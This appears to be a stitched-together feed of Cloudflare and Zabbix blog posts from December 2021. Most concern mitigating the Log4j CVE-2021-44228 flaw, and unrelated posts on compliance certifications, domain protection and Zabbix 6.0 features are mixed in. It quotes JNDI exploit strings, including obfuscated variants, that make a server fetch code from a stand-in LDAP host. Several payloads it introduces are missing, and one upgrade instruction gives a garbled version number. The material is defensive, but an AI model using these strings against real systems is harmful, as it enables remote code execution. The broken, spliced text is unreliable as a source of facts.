You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a} in any string. Log4j will then make a connection on the Internet to retrieve this object.
Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote code execution on any system that reads these fields and uses an unpatched instance of Log4j.
Our mitigation plan
Unfortunately, just checking for a token like ${jndi:ldap is not sufficient to protect against this vulnerability. Because of the expressiveness of the templating language, it’s necessary to check for obfuscated variants as well. Already, we are seeing attackers in the wild use variations like ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}. Thus, redacting the token ${ is the most general way to defend against this vulnerability.
The token ${ appears up to 1,000 times per second in the logs we currently send to customers. A spot check of some records shows that many of them are not attempts to exploit this vulnerability. Therefore we can’t safely redact our logs without impacting customers who may expect to see this token in their logs.
Starting now, customers can update their Logpush jobs to redact the string ${ and replace it with x{ everywhere.
To enable this, customers can update their Logpush job options configuration to include the parameter CVE-2021-44228=true. For detailed instructions on how to do this using the Logpush API, see our developer documentation.
A newly revealed vulnerability impacting Apache Log4j 2 versions 2.0 to 2.14.1 was disclosed on GitHub on 9 December 2021 and registered as CVE-2021-44228 with the highest severity rating. Log4j is an open-source, Java-based logging utility widely used by enterprise applications and cloud services. By utilizing this vulnerability, a remote attacker could take control of the affected system.
Zabbix is aware of this vulnerability, has completed verification, and can conclude that the only product where we use Java is Zabbix Java Gateway, which does not utilize the log4j library, thereby is not impacted by this vulnerability.
For customers, who use the log4j library with other Java applications, here are some proactive measures, which they can take to reduce the risk posed by CVE-2021-44228:
Upgrade to Apache log4j-2.1.50.rc2, as all prior 2.x versions are vulnerable.
For Log4j version 2.10.0 or later, block JNDI from making requests to untrusted servers by setting the configuration value log4j2.formatMsgNoLookups to “TRUE” to prevent LDAP and other queries.
Default both com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to “FALSE” to prevent Remote Code Execution attacks in Java 8u121.
Cloudflare’s products and services are protecting more customers than ever with significant expansion over the past year. Earlier this week, we launched Cloudflare Security Center so customers can map their attack surface, review potential security risks and threats to their organization, and have generally fast tracked many offerings to meet the needs of customers.
This rapid expansion has meant ensuring our security, privacy, and risk posture grew accordingly. Customer confidence in our ability to handle their sensitive information in an ever-changing regulatory landscape has to be as solid as our offerings, so we have expanded the scope of our previously-existing compliance validations; not only that, we’ve also managed to obtain a couple of new ones.
What’s New
We’ve had a busy year and focused on our commitment to privacy as well as complying to one of the most rigorous security standards in the industry. We are excited about the following achievements in 2021:
FedRAMP In Process – Cloudflare hit a major milestone by being listed on the FedRAMP Marketplace as ‘In Process’ for receiving an agency authorization at a moderate baseline. Once an Authorization to Operate (ATO) is granted, it will allow agencies and other cloud service providers to leverage our product and services in a public sector capacity.
ISO 27701:2019 (International Standards Organization) – Cloudflare is one of the first companies in the industry to achieve ISO 27701 certification as both a data processor and controller. The certification provides assurance to our customers that we have a formal privacy program that is aligned to GDPR.
Self-Serve Compliance Documentation – Pro, Business, and Enterprise customers now have the ability to obtain a copy of Cloudflare’s certifications, reports, and overview through the Cloudflare Dashboard.
Security Certifications & Reports
Cloudflare understands the importance of maintaining compliance to industry standards, certifications, and reports. Our customers rely on the certifications we have to ensure secure and private handling of their data. Each year, the security team expands the scope of these validations to ensure that all of our applicable products and services are included. Cloudflare has met the requirements of the following standards:
SOC-2 Type II / SOC 3 (Service Organizations Controls) – Cloudflare maintains SOC reports that include the security, confidentiality, and availability trust principles. The SOC-2 report provides assurance that our products and underlying infrastructure are secure and highly available while protecting the confidentiality of our customer’s data. We engage with our third-party assessors on an annual basis, and the report provided to our customers covers a period of one full year.
ISO 27001:2013 (International Standards Organization) – Cloudflare’s ISO certification covers our entire platform. Customers can be assured that Cloudflare has a formal information security management program that adheres to a globally recognized standard.
PCI Data Security Standard (DSS) – Cloudflare engages with a QSA (Qualified Security Assessor) on an annual basis to evaluate us as a Level 1 Merchant and a Service Provider. This way, we can assure our customers that we meet the requirements to transmit their payment data securely. As a service provider, our customers can trust Cloudflare’s products to meet requirements of the DSS and transmit cardholder data securely through our services.
HIPAA/HITECH Act (Health Insurance Portability and Accountability Act/Health Information Technology for Economic and Clinical Health – Covered healthcare entities that are leveraging our enterprise version of our security products to protect their application layer can be assured that Cloudflare can sign Business Associates Agreements (BAA).
1.1.1.1 Public DNS Resolver Privacy Examination – Cloudflare conducted a first-of-its-kind privacy examination by a leading accounting firm to determine whether the 1.1.1.1 resolver was effectively configured to meet Cloudflare’s privacy commitments. A public summary of the assessment can be found here.
What’s on our Roadmap?
As a global company, Cloudflare partners with industry experts and regional leaders around the world to determine the best ways to build customer trust. Our infoshare events with existing customers and participation in standards organizations guide our methods to continuously improve the security and privacy posture of our products and services. Part of that improvement is obtaining additional third party validations. At this time, we are evaluating ISO 27018 to give customers additional assurance that we meet industry standards for handling personal data in our cloud platform. We will continue to move forward in our FedRAMP journey. And of course, we are continuously evaluating a range of other region-specific certifications. For the latest information about our certifications and reports, please visit our trust hub.
If you are an existing customer and want to give us feedback about a validation, please contact your Account Executive and let them know! We will continue to pursue validations that support our customers’ needs and make the internet safer and more secure.
The vulnerability disclosed yesterday in the Java-based logging package, log4j, allows attackers to execute code on a remote server. We’ve updated Cloudflare’s WAF to defend your infrastructure against this 0-day attack. The attack also relies on exploiting servers that are allowed unfettered connectivity to the public Internet. To help solve that challenge, your team can deploy Cloudflare One today to filter and log how your infrastructure connects to any destination.
Securing traffic inbound and outbound
You can read about the vulnerability in more detail in our analysis published earlier today, but the attack starts when an attacker adds a specific string to input that the server logs. Today’s updates to Cloudflare’s WAF block that malicious string from being sent to your servers. We still strongly recommend that you patch your instances of log4j immediately to prevent lateral movement.
If the string has already been logged, the vulnerability compromises servers by tricking them into sending a request to a malicious LDAP server. The destination of the malicious server could be any arbitrary URL. Attackers who control that URL can then respond to the request with arbitrary code that the server can execute.
At the time of this blog, it does not appear any consistent patterns of malicious hostnames exist like those analyzed in the SUNBURST attack. However, any server or network with unrestricted connectivity to the public Internet is a risk for this specific vulnerability and others that rely on exploiting that open window.
First, filter and log DNS queries with two-clicks
From what we’re observing in early reports, the vulnerability mostly relies on connectivity to IP addresses. Cloudflare’s network firewall, the second step in this blog, focuses on that level of security. However, your team can adopt a defense-in-depth strategy by deploying Cloudflare’s protective DNS resolver today to apply DNS filtering to add security and visibility in minutes to any servers that need to communicate out to the Internet.
If you configure Cloudflare Gateway as the DNS resolver for those servers, any DNS query they make to find the IP address of a given host, malicious or not, will be sent to a nearby Cloudflare data center first. Cloudflare runs the world’s fastest DNS resolver so that you don’t have to compromise performance for this level of added safety and logging. When that query arrives, Cloudflare’s network can then:
filter your DNS queries to block the resolution of queries made to known malicious destinations, and
log every query if you need to investigate and audit after potential events.
Alternatively, if you know every host that your servers need to connect to, you can create a positive security model with Cloudflare Gateway. In this model, your resource can only send DNS queries to the domains that you provide. Queries to any other destinations, including new and arbitrary ones like those that could be part of this attack, will be blocked by default.
> Ready to get started today? You can begin filtering and logging all of the DNS queries made by your servers or your entire network with these instructions here.
Second, secure network traffic leaving your infrastructure
Protective DNS filtering can add security and visibility in minutes, but bad actors can target all of the other ways that your servers communicate out to the rest of the Internet. Historically, organizations deployed network firewalls in their data centers to filter the traffic entering and exiting their network. Their teams ran capacity planning exercises, purchased the appliances, and deployed hardware. Some of these appliances eventually moved to the cloud, but the pain of deployment stayed mostly the same.
Cloudflare One’s network firewall helps your team secure all of your network’s traffic through a single, cloud-native, solution that does not require that you need to manage any hardware or any virtual appliances. Deploying this level of security only requires that you decide how you want to send traffic to Cloudflare. You can connect your network through multiple on-ramp options, including network layer (GRE or IPsec tunnels), direct connections, and a device client.
Once connected, traffic leaving your network will first route through a Cloudflare data center. Cloudflare’s network will apply filters at layers 3 through 5 of the OSI model. Your administrators can then create policies based on IP, port, protocol in both stateless and stateful options. If you want to save even more time, Cloudflare uses the data we have about threats on the Internet to create managed lists for you that you can block with a single click.
Similar to DNS queries, if you know that your servers and services in your network only need to reach specific IPs or ports, you can build a positive security model with allow-list rules that restrict connections and traffic to just the destinations you specify. In either model, Cloudflare’s network will handle logging for you. Your team can export these logs to your SIEM for audit retention or additional analysis if you need to investigate a potential attack.
> Ready to get started securing your network? Follow the guide here and tell us you’d like to get started and we’ll be ready to help your team.
Third, inspect and filter HTTP traffic
Some attacks will rely on convincing your servers and endpoints to send HTTP requests to specific destinations, leaking data or grabbing malware to download in your infrastructure. To help solve that challenge, you can layer HTTP inspection, virus scanning, and logging in Cloudflare’s network.
If you completed Step Two above, you can use the same on-ramp that you configured to upgrade UPD and TCP traffic where Cloudflare’s Secure Web Gateway can apply HTTP filtering and logging to the requests leaving your network. If you need more granular control, you can deploy Cloudflare’s client software to build rules that only apply to specific endpoints in your infrastructure.
Like every other layer in this security model, you can also only allow your servers to connect to an approved list of destinations. Cloudflare’s Secure Web Gateway will allow and log those requests and block attempts to reach any other destinations.
> Ready to begin inspecting and filtering HTTP traffic? Follow the instructions here to get started today.
What’s next?
Deploying filtering and logging today will help protect against the next attack or attempts to continue to exploit today’s vulnerability, but we’re encouraging everyone to start by patching your deployments of log4j immediately.
As we write this, we’re updating existing managed rulesets to include reports of destinations used to attempt to exploit today’s vulnerability. We’ll continue to update those policies as we learn more information.
I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity.
As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.
We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.
We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.
So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.
Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string is this (throughout I have sanitized domain names and IP addresses):
${jndi:ldap://x.x.x.x/#Touch}
Which looks like a simple way to hit the server at x.x.x.x, which the actor no doubt controls, and log that an Internet property is exploitable. That doesn’t tell the actor much. The second most popular request contained this:
This appeared in the User-Agent field of the request. Notice how at the end of the URI it says /ua. No doubt a clue to the actor that the exploit worked in the User-Agent.
Another interesting payload shows that the actor was detailing the format that worked (in this case a non-encrypted request to port 443 and they were trying to use http://):
In the following case the actor was hitting a public Cloudflare IP and encoded that IP address in the exploit payload. That way they could scan many IPs and find out which were vulnerable.
Note that the output from the curl/wget is not required and so this is just hitting a server to indicate to the actor that the exploit worked.
Lastly, we are seeing active attempts to evade simplistic blocking of strings like ${jndi:ldap by using other features of Log4j. For example, a common evasion technique appears to be to use the ${lower} feature (which lowercases characters) as follows:
At this time there appears to be a lot of reconnaissance going on. Actors, good and bad, are scanning for vulnerable servers across the world. Eventually, some of that reconnaissance will turn into actual penetration of servers and companies. And, because logging is so deeply embedded in front end and back end systems, some of that won’t become obvious for hours or days.
Like spores quietly growing underground some will break through the soil and into the light.
Cloudflare’s security teams are working continuously as the exploit attempts evolve and will update WAF and firewall rules as needed.
Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package log4j was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). Because of the widespread use of Java and log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock.
It is CVE-2021-44228 and affects version 2 of log4j between versions 2.0-beta-9 and 2.14.1. It is not present in version 1 of log4j and is patched in 2.15.
In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. We will update later with actual attempted exploitation we are seeing blocked by our firewall service.
Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.
But, if you work for a company that is using Java-based software that uses log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.
How to Mitigate CVE-2021-44228
To mitigate the following options are available (see the advisory from Apache here):
2. If you are using log4j v2.10 or above, and cannot upgrade, then set the property
log4j2.formatMsgNoLookups=true
3. Or remove the JndiLookup class from the classpath. For example, you can run a command like
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
to remove the class from the log4j-core.
Vulnerability History
In 2013, in version 2.0-beta9, the log4j package added the “JNDILookup plugin” in issue LOG4J2-313. To understand how that change creates a problem, it’s necessary to understand a little about JNDI: Java Naming and Directory Interface.
JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.
For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).
A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.
As the tutorial says “If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.
That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.
But in the case of log4j an attacker can control the LDAP URL by causing log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then log4j will connect to the LDAP server at example.com and retrieve the object.
This happens because log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.
LOG4J2-313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.”
With a : present in the key, as in ${jndi:ldap://example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of log4j as well as when lines are logged.
So all an attacker has to do is find some input that gets logged and add something like ${jndi:ldap://example.com/a}. This could be a common HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username that might also be logged.
This is likely very common in Java-based Internet facing software that uses log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system. For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.
And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.
And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, rollup, or archive process written in Java inadvertently logs the bad string. Hours or even days later.
Cloudflare Firewall Protection
Cloudflare rolled out protection for our customers using our Firewall in the form of rules that block the jndi Lookup in common locations in an HTTP request. This is detailed here. We have continued to refine these rules as attackers have modified their exploits and will continue to do so.
Everything on the web starts with a domain name. It is the foundation on which a company’s online presence is built. If that foundation is compromised, the damage can be immense.
As part of CIO Week, we looked at all the biggest risks that companies continue to face online, and how we could address them. The compromise of a domain name remains one of the greatest. There are many ways in which a domain may be hijacked or otherwise compromised, all the way up to the most serious: losing control of your domain name altogether.
You don’t want it to happen to you. Imagine not just losing your website, but all your company’s email, a myriad of systems tied to your corporate domain, and who knows what else. Having an attacker compromise your corporate domain is the stuff of nightmares for every CIO. And, if you’re a CIO and it’s not something you’re worrying about, know that we literally surveyed every other domain registrar and were so unsatisfied with their security practices we needed to launch our own.
But, now that we have, we want to make domain compromise something that should never, ever happen again. For that reason, we’re excited to announce that we are extending a new level of domain record protection to all our Enterprise customers. We call it Cloudflare Domain Protection, and we’re including it for free for every Cloudflare Enterprise customer. For those customers who have domains secured by Domain Protection, we will also waive all registration and renewal fees on those domains. Cloudflare Domain Protection will be available in Q1 — you can speak to your account manager now to take advantage of the offer.
It’s not possible to build a truly secure domain registrar solution without an understanding of how a domain gets compromised. Before we get into more details of our offering, we wanted to take you on a tour of how a domain can get compromised.
Stealing the Keys to Your Kingdom
There are three types of domain compromises that we often hear about. Let’s take a look at each of them.
Domain Transfers
One of the most serious compromises is an unauthorized transfer of the domain to another registrar. While cooperation amongst registrars has improved greatly over the years, it can still be very difficult to recover a stolen domain. It can often take weeks — or even months. It may require legal action. In a best case scenario, the domain may be recovered in a few days; in the worst case, you may never get it back.
The ability to easily transfer a domain between registrars is vitally important, and is part of what keeps the market for domain registration competitive. However, it also introduces potential risk. The transfer process used by most registries involves using a token to authorize the transfer. Prior to the widespread practice of redacting publicly accessible whois data, an email approval process was also used. To steal a domain, a malicious actor only needs to gain access to the authorization code and be able to remove any domain locks.
Unauthorized transfers start often with a compromised account. In many cases, the customer may have their account credentials compromised. In other cases, attackers use elaborate social engineering schemes to take control of the domain, often moving the domain between registrar accounts before transferring the domain to another registrar.
Name Server Updates
Name server updates are another way in which domains may be compromised. Whereas a domain transfer is typically an attempt to permanently take over a domain, a name server update is more temporary in nature. However, even if the update can usually be quickly reversed, these types of domain hijacks can be very damaging. They open the possibility of stolen customer data and intercepted email traffic. But most of all: they open an organization up to very serious reputational damage.
Domain Suspensions and Deletions
Most domain suspensions and deletions are not the result of malicious activity, but rather, they often happen through human error or system failures. In many cases, the customer forgets to renew a domain or neglects to update their payment method. In other cases, the registrar mistakenly suspends or deletes a domain.
Regardless of the reason though: the result is a domain that no longer resolves.
While these are certainly not the only ways in which domains may be compromised, they are some of the most damaging. We have spent a lot of time focused on these types of compromises and how to prevent them from happening.
A Different Approach to Domains
Like a lot of folks, we’ve long been frustrated by the state of the domain business. And so this isn’t our first rodeo here.
We already have a registrar service — Cloudflare Registrar — which is open to any Cloudflare customer. We make it super easy to get started, to integrate with Cloudflare, and there’s no markup on our pricing — we promise to never charge you anything more than the wholesale price each TLD charges. The aim: no more “bait and switch” and “endless upsell” (which, according to our customers, are the two most common terms associated with the domain industry). Instead, it’s a registrar that you love. Obviously, it’s Cloudflare, so we incorporated a number of security best practices into how it operates, too.
For our most demanding enterprise customers, we also have Custom Domain Protection. Every client using Custom Domain Protection defines their own process for updating records. As we said when we introduced it: “if a Custom Domain Protection client wants us to not change their domain records unless six different individuals call us, in order, from a set of predefined phone numbers, each reading multiple unique pass codes, and telling us their favorite ice cream flavor, on a Tuesday that is also a full moon, we will enforce that. Literally.”
Yes, it’s secure, but it’s also not the most scalable solution. As a result, we charge a premium for it. As we spoke to our Enterprise customers, however, there was a need for something in between — a Goldilocks solution, so to speak, that offers a high level of protection without being quite so custom.
Enter Cloudflare Domain Protection.
A Triple-Locked Approach
Our approach to securing domains with Domain Protection is quite straightforward: identify the various attack vectors, and design a layered security mode to address each potential threat.
Before we take a look at each security layer, it’s important to understand the relationship between registrars and registries, and how that impacts domain security. You can think of registries as the wholesaler of domain names. They manage the central database of all registered domains within the Top-Level-Domain (TLD). They are also responsible for determining the wholesale pricing and establishing TLD specific policies.
Registrars, on the other hand, are the retailer of domains and are responsible for selling the domains to the end user. With each registration, transfer, or renewal, the registrar pays the registry a transaction fee.
Registrars and registries jointly manage domain registrations in what’s called the Shared Registration System (SRS). Registrars communicate with registries using an IETF standard called the Extensible Provisioning Protocol (EPP). Embodied in the EPP standard are a set of domain status that can be applied by registrars and registries to lock the domain and prevent updates, deletions, and transfers (to another registrar).
Registrars are able to apply “client” locks, frequently referred to as Registrar Locks. Registries apply “server” locks, also known as Registry Locks. It’s important to note that the registry locks always supersede the registrar locks. This means that the registrar locks cannot be removed until the registry locks have been removed.
Now, let’s take a closer look at our planned approach.
We start by applying the EPP Registrar Locks to the domain name. These are the EPP client locks that prevent domain updates, transfers, and deletions.
We then apply an internal lock that prevents any API calls to that domain from being processed. This lock functions outside of EPP and is designed to protect the domain should the EPP locks be removed, as well as situations where an operation may be executed outside of EPP. For example, in some TLDs the domain contact data is only stored at the registrar and never transmitted to the registry. In these cases, it’s important to have a non EPP locking mechanism.
After the registrar locks are applied, we will request the registry to apply the Registry Locks using a special non-EPP based procedure. It’s important to note that not all registries offer Registry Lock as a service. In some instances, we may not be able to apply this last locking feature.
Lastly, a secure verification procedure is created to handle any future requests to unlock or modify the domain.
Included Out of the Box
Our aim is to make Cloudflare Domain Protection the most scalable secure solution for domains that’s available. We want to ensure that the domains that matter most to our customers — the mission critical, high value domains — are securely protected.
Eligible domains that are explicitly included under a Cloudflare Enterprise contract may be included in our Domain Protection registration service at no additional cost. And, as we mentioned earlier, this will also cover registration and renewal fees — so not only will securing your domain be one less thing for you to worry about, so too will be paying for it.
Interested in applying Cloudflare Domain Protection to your domain names? Reach out to your account manager and let them know you’re interested. Additional details will be coming in early Q1, 2022.
A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE).
This vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the Log4j download page.
If updating to the latest version is not possible, customers can also mitigate exploit attempts by setting the system property “log4j2.formatMsgNoLookups” to “true”; or by removing the JndiLookup class from the classpath. Java release 8u121 also protects against this remote code execution vector.
Customers using the Cloudflare WAF can also leverage three newly deployed rules to help mitigate any exploit attempts:
Rule ID
Description
Default Action
100514 (legacy WAF) 6b1cc72dff9746469d4695a474430f12 (new WAF)
Log4j Headers
BLOCK
100515 (legacy WAF) 0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF)
Log4j Body
LOG
100516 (legacy WAF) 5f6744fa026a4638bda5b3d7d5e015dd (new WAF)
Log4j URL
LOG
The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.
Due to the risk of false positives, customers should immediately review Firewall Event logs and switch the Log4j Body and URL rules to BLOCK if none are found. The rule inspecting HTTP headers has been directly deployed with a default action of BLOCK to all WAF customers.
We are continuing to monitor the situation and will update any WAF managed rules accordingly.
More details on the vulnerability can be found on the official Log4j security page.
Who is affected
Log4j is a powerful Java based logging library maintained by the Apache Software Foundation.
In all Log4j versions >= 2.0-beta9 and <= 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
Zabbix 6.0 LTS comes packed with many new enterprise-level features and improvements. Join Artūrs Lontons and take a look at some of the major features that will be available with the release of Zabbix 6.0 LTS.
If we look at the Zabbix roadmap and Zabbix 6.0 LTS release in particular, we can see that one of the main focuses of Zabbix development is releasing features that solve many complex enterprise-grade problems and use cases. Zabbix 6.0 LTS aims to:
Solve enterprise-level security and redundancy requirements
Improve performance for large Zabbix instances
Provide additional value to different types of Zabbix users – DevOPS and ITOps teams, Business process owner, Managers
Continue to extend Zabbix monitoring and data collection capabilities
Provide continued delivery of official integrations with 3rd party systems
Let’s take a look at the specific Zabbix 6.0 LTS features that can guide us towards achieving these goals.
Zabbix server High Availability cluster
With the release of Zabbix 6.0 LTS, Zabbix administrators will now have the ability to deploy Zabbix server HA cluster out-of-the-box. No additional tools are required to achieve this.
Zabbix server HA cluster supports an unlimited number of Zabbix server nodes. All nodes will use the same database backend – this is where the status of all nodes will be stored in the ha_node table. Nodes will report their status every 5 seconds by updating the corresponding record in the ha_node table.
To enable High availability, you will first have to define a new parameter in the Zabbix server configuration file: HANodeName
Empty by default
This parameter should contain an arbitrary name of the HA node
Providing value to this parameter will enable Zabbix server cluster mode
Standby nodes monitor the last access time of the active node from the ha_node table.
If the difference between last access time and current time reaches the failover delay, the cluster fails over to the standby node
Failover operation is logged in the Zabbix server log
It is possible to define a custom failover delay – a time window after which an unreachable active node is considered lost and failover to one of the standby nodes takes place.
As for the Zabbix proxies, the Server parameter in the Zabbix proxy configuration file now supports multiple addresses separated by a semicolon. The proxy will attempt to connect to each of the nodes until it succeeds.
Other HA cluster related features:
New command-line options to check HA cluster status
hanode.get API method to obtain the list of HA nodes
The new internal check provides LLD information to discover Zabbix server HA nodes
HA Failover event logged in the Zabbix Audit log
Zabbix Frontend will automatically switch to the active Zabbix server node
The Services section has received a complete redesign in Zabbix 6.0 LTS. Business Service Monitoring (BSM) enables Zabbix administrators to define services of varying complexity and monitor their status.
BSM provides added value in a multitude of use cases, where we wish to define and monitor services based on:
Server clusters
Services that utilize load balancing
Services that consist of a complex IT stack
Systems with redundant components in place
And more
Business Service monitoring has been designed with scalability in mind. Zabbix is capable of monitoring over 100k services on a single Zabbix instance.
For our Business Service example, we used a website, which depends on multiple components such as the network connection, DB backend, Application server, and more. We can see that the service status calculation is done by utilizing tags and deciding if the existing problems will affect the service based on the problem tags.
In Zabbix 6.0 LTS there are many ways how service status calculations can be performed. In case of a problem, the service state can be changed to:
The most critical problem severity, based on the child service problem severities
The most critical problem severity, based on the child service problem severities, only if all child services are in a problem state
The service is set to constantly be in an OK state
Changing the service status to a specific problem severity if:
At least N or N% of child services have a specific status
Define service weights and calculate the service status based on the service weights
Ability to define permissions on specific services
SLA monitoring
Business Service root cause analysis
Receive alerts and react on Business Service status change
Define Business Service permissions for multi-tenant environments
New Audit log schema
The existing audit log has been redesigned from scratch and now supports detailed logging for both Zabbix server and Zabbix frontend operations:
Zabbix 6.0 LTS introduces a new database structure for the Audit log
Collision resistant IDs (CUID) will be used for ID generation to prevent audit log row locks
Audit log records will be added in bulk SQL requests
Introducing Recordset ID column. This will help users recognize which changes have been made in a particular operation
The goal of the Zabbix 6.0 LTS audit log redesign is to provide reliable and detailed audit logging while minimizing the potential performance impact on large Zabbix instances:
Detailed logging of both Zabbix frontend and Zabbix server records
Designed with minimal performance impact in mind
Accessible via Zabbix API
Implementing the new audit log schema is an ongoing effort – further improvements will be done throughout the Zabbix update life cycle.
Machine learning
New trend functions have been added which utilize machine learning to perform anomaly detection and baseline monitoring:
New trend function – trendstl, allows you to detect anomalous metric behavior
New trend function – baselinewma, returns baseline by averaging data periods in seasons
New trend function – baselinedev, returns the number of standard deviations
Collecting and processing metrics is just a part of the monitoring equation. Visualization and the ability to display our infrastructure status in a single pane of glass are also vital to large environments. Zabbix 6.0 LTS adds multiple new visualization options while also improving the existing features.
The data table widget allows you to create a summary view for the related metric status on your hosts
The Top N and Bottom N functions of the data table widget allow you to have an overview of your highest or lowest item values
The single item widget allows you to display values for a single metric
Improvements to the existing vector graphs such as the ability to reference individual items and more
The SLA report widget displays the current SLA for services filtered by service tags
We are proud to announce that Zabbix 6.0 LTS will provide a native Geomap widget. Now you can take a look at the current status of your IT infrastructure on a geographic map:
The host coordinates are provided in the host inventory fields
Users will be able to filter the map by host groups and tags
Depending on the map zoom level – the hosts will be grouped into a single object
Support of multiple Geomap providers, such as OpenStreetMap, OpenTopoMap, Stamen Terrain, USGS US Topo, and others
Zabbix agent – improvements and new items
Zabbix agent and Zabbix agent 2 have also received some improvements. From new items to improved usability – both Zabbix agents are now more flexible than ever. The improvements include such features as:
New items to obtain additional file information such as file owner and file permissions
New item which can collect agent host metadata as a metric
New item with which you can count matching TCP/UDP sockets
It is now possible to natively monitor your SSL/TLS certificates with a new Zabbix agent2 item. The item can be used to validate a TLS/SSL certificate and provide you additional certificate details
User parameters can now be reloaded without having to restart the Zabbix agent
In addition, a major improvement to introducing new Zabbix agent 2 plugins has been made. Zabbix agent 2 now supports loading stand-alone plugins without having to recompile the Zabbix agent 2.
Custom Zabbix password complexity requirements
One of the main improvements to Zabbix security is the ability to define flexible password complexity requirements. Zabbix Super admins can now define the following password complexity requirements:
Set the minimum password length
Define password character requirements
Mitigate the risk of a dictionary attack by prohibiting the usage of the most common password strings
UI/UX improvements
Improving and simplifying the existing workflows is always a priority for every major Zabbix release. In Zabbix 6.0 LTS we’ve added many seemingly simple improvements, that have major impacts related to the “feel” of the product and can make your day-to-day workflows even smoother:
It is now possible to create hosts directly from Monitoring – Hosts
Removed Monitoring – Overviewsection. For improved user experience, the trigger and data overview functionality can now be accessed only via dashboard widgets.
The default type of information for items will now be selected automatically depending on the item key.
The simple macros in map labels and graph names have been replaced with expression macros to ensure consistency with the new trigger expression syntax
New templates and integrations
Adding new official templates and integrations is an ongoing process and Zabbix 6.0 LTS is no exception here’s a preview for some of the new templates and integrations that you can expect in Zabbix 6.0 LTS:
f5 BIG-IP
Cisco ASAv
HPE ProLiant servers
Cloudflare
InfluxDB
Travis CI
Dell PowerEdge
Zabbix 6.0 also brings a new GitHub webhook integration which allows you to generate GitHub issues based on Zabbix events!
Other changes and improvements
But that’s not all! There are more features and improvements that await you in Zabbix 6.0 LTS. From overall performance improvements on specific Zabbix components, to brand new history functions and command-line tool parameters:
Detect continuous increase or decrease of values with new monotonic history functions
Added utf8mb4 as a supported MySQL character set and collation
Added the support of additional HTTP methods for webhooks
Timeout settings for Zabbix command-line tools
Performance improvements for Zabbix Server, Frontend, and Proxy
Questions and answers
Q: How can you configure geographical maps? Are they similar to regular maps?
A: Geomaps can be used as a Dashboard widget. First, you have to select a Geomap provider in the Administration – General – Geographical maps section. You can either use the pre-defined Geomap providers or define a custom one. Then, you need to make sure that the Location latitude and Location longitude fields are configured in the Inventory section of the hosts which you wish to display on your map. Once that is done, simply deploy a new Geomap widget, filter the required hosts and you’re all set. Geomaps are currently available in the latest alpha release, so you can get some hands-on experience right now.
Q: Any specific performance improvements that we can discuss at this point for Zabbix 6.0 LTS?
